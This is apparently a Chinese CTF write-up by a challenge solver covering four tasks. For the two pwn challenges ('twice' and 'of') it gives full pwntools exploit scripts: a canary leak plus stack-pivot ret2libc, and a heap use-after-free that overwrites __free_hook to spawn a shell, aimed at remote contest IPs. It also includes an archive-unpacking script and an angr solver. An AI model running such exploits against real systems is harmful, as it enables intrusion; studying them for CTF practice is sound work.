我是废物~,我个人的话出了4个题。分别是pwn类的twice,of,misc类的loop,re类的rev,写下wp,后续的话可能会更新pwn类的pwnme的wp,由于我环境搭建没打好,pwnme本来也是个简单题来着。
等环境整好了复现出来了在更新pwnme吧,现在先把现有的wp贴上去。
程序循环两次,第一次泄露canary+stack地址,第二次执行栈迁移溢出,我这里用的ret2libc,很多方法。
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('pwn')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./pwn')
else:
p = remote(ip,port)
#gdb.attach(p,"b*0x40087A")
p.sendlineafter(">","A"*84+"BBBB")
p.recvuntil("BBBB")
canary=u64(p.recv(8))-0xa
print "canary=",hex(canary)
stack_addr=u64(p.recv(6).ljust(8,"\x00"))
print "stack_addr=",hex(stack_addr)
pop_rdi_ret=0x400923
payload=(p64(0)+p64(pop_rdi_ret)+p64(elf.got["__libc_start_main"])+p64(elf.plt["puts"])+p64(0x040087B)).ljust(88,"\x00")+p64(canary)
payload+=p64(stack_addr-0x70)+p64(0x400879)
print "len=",len(payload)
p.sendafter(">",payload)
p.recvuntil("\n")
libc_addr=u64(p.recv(6).ljust(8,"\x00"))
print "libc_addr=",hex(libc_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libcbase_addr=libc_addr-libc.symbols["__libc_start_main"]
system_addr=libcbase_addr+libc.symbols["system"]
binsh_addr=libcbase_addr+libc.search("/bin/sh\x00").next()
p.sendlineafter(">","A"*84+"BBBB")
p.recvuntil("BBBB")
canary=u64(p.recv(8))-0xa
print "canary=",hex(canary)
stack_addr=u64(p.recv(6).ljust(8,"\x00"))
print "stack_addr=",hex(stack_addr)
pop_rdi_ret=0x400923
payload=(p64(0)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(0x040087B)).ljust(88,"\x00")+p64(canary)
payload+=p64(stack_addr-0x70)+p64(0x400879)
print "len=",len(payload)
p.sendafter(">",payload)
p.interactive()
if __name__ == '__main__':
pwn('121.36.59.116',9999,0)
这题我笑了,给了源码,本地在free,add,show,edit的时候都有cookie验证,做了尼玛一下午,想了各种利用方式,最后感觉无解的,以为赛后能学到新点子,结果尼玛的远程没有cookie验证。心态崩了。Orz
没有验证的话非常简单,基本UAF,当时一边骂着主办方,一分钟就把更改free_hook写好了,我双标吧。
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('of')
p = 0
def pwn(ip,port,debug):
global p
if(debug == 1):
p = process('./of')
else:
p = remote(ip,port)
def add(index):
p.sendlineafter("Your choice: ","1")
p.sendlineafter("Index: ",str(index))
def edit(index,content):
p.sendlineafter("Your choice: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Content: ",content)
def show(index):
p.sendlineafter("Your choice: ","3")
p.sendlineafter("Index: ",str(index))
def free(index):
p.sendlineafter("Your choice: ","4")
p.sendlineafter("Index: ",str(index))
for i in range(8):
add(i)
add(8)
add(9)
add(10)
add(11)
for i in range(8):
free(i)
for i in range(8):
add(i)
show(7)
p.recvuntil("Content: ")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
main_arena=u64(p.recv(14)[8:14].ljust(8,"\x00"))
print "main_arena=",hex(main_arena)
libcbase_addr=main_arena-(0x7f60214c8ca0-0x00007f60210dd000)
free_hook=libcbase_addr+libc.symbols["__free_hook"]
system_addr=libcbase_addr+libc.symbols["system"]
free(0)
edit(0,p64(free_hook))
add(0)
add(0)
edit(1,"/bin/sh\x00")
edit(0,p64(system_addr))
free(1)
#gdb.attach(p)
p.interactive()
if __name__ == '__main__':
pwn("121.36.74.70",9999,0)
通过测验可以看到用tar与zip轮着加密的,写个解密脚本就可以
import os
import shutil
import time
def scan_file():
files = os.listdir()
for f in files:
if f.endswith('file'):
return f
def unzip_it(f):
if f[0:3]=='tar':
os.rename(f,f+'.tar')
target_path = './'
print(type(f))
shutil.unpack_archive(f+'.tar', target_path)
os.remove(f+'.tar')
if f[0:3]=='zip':
os.rename(f,f+'.zip')
target_path = './'
print(type(f))
shutil.unpack_archive(f+'.zip', target_path)
os.remove(f+'.zip')
while True:
zip_file = scan_file()
print(zip_file)
if zip_file:
unzip_it(zip_file)
嘿,你猜怎么着,前两天刚学的angr,今天就用上了,
简单的一批,就一个分支,啥都不用改,套模板都可以。
具体不会的可以看我github上的博客
#!/usr/bin/env python
# -*- coding: utf-8 -*
import angr
import claripy
import sys
reload(sys)
sys.setdefaultencoding('utf8')
def main():
project = angr.Project("./rev_v2")
#create an initial state with a symbolic bit vector as argv1
argv1 = claripy.BVS("argv1",100*8) #
initial_state = project.factory.entry_state(args=["./crackme1",argv1])
#create a path group using the created initial state
sm = project.factory.simulation_manager(initial_state)
#symbolically execute the program until we reach the wanted value of the instruction pointer
sm.explore(find=0x400488) #at this instruction the binary will print(the "correct" message)
found = sm.found[0]
#ask to the symbolic solver to get the value of argv1 in the reached state as a string
solution = found.solver.eval(argv1, cast_to=str)
print(solution)
if __name__ == '__main__':
main()
这次的pwn感觉难度不高,(虽然我pwnme没出),of带着cookie的验证我以为是个惊喜,当时远程几十个人做出来了,我昏迷了,哎,DASCTF去了。
pwnme等后续更新吧。